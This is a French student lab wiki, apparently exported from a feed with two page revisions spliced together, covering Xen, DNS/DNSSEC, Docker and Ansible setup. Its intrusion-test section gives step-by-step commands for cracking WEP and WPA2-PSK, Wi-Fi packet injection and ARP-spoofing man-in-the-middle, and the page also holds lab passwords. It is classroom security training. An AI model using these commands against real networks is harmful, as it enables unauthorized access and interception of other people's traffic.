&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
Génération d’une clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Installation de la clef publique sur une cible :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh cible &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A FINIR&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54959</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54959"/>
				<updated>2020-12-17T23:13:03Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
